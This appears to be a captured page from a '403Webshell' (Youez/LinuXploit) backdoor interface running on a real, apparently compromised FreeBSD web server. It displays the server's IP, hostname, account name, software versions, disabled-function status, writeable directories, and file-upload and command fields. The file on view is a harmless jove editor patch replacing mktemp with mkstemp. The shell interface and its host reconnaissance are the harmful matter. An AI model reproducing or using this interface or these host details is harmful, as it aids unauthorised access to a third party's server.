403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/editors/jove/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/editors/jove/files/patch-proc.c
--- proc.c.orig	1996-03-08 21:46:40 UTC
+++ proc.c
@@ -827,8 +827,14 @@ UnixToBuf(flags, bnm, InFName, cmd)
 		int	ph;
 
 		swritef(pnbuf, sizeof(pnbuf), "%s/%s", TmpDir, "jpXXXXXX");
+#ifndef NO_MKSTEMP
+		pipename = pnbuf;
+		ph = mkstemp( pipename );
+#else
 		pipename = mktemp(pnbuf);
-		if ((ph = creat(pipename, S_IWRITE|S_IREAD)) < 0)
+		ph = creat(pipename, S_IWRITE|S_IREAD);
+#endif
+		if (ph == -1)
 			complain("cannot make pipe for filter: %s", strerror(errno));
 		close(1);
 		close(2);
@@ -923,7 +929,18 @@ bool	wrap;
 	jmp_buf	sav_jmp;
 
 	swritef(tnambuf, sizeof(tnambuf), "%s/%s", TmpDir, "jfXXXXXX");
+#ifndef NO_MKSTEMP
+	{
+		int fd = mkstemp(tnambuf);
+		if ( fd == -1 )
+			complain( "can't create temp file %s: %s",
+				  tnambuf, strerror(errno) );
+		close( fd );
+		tname = tnambuf;
+	}
+#else
 	tname = mktemp(tnambuf);
+#endif
 	fp = open_file(tname, iobuff, F_WRITE, YES);
 	push_env(sav_jmp);
 	if (setjmp(mainjmp) == 0) {

Youez - 2016 - github.com/yon3zu
LinuXploit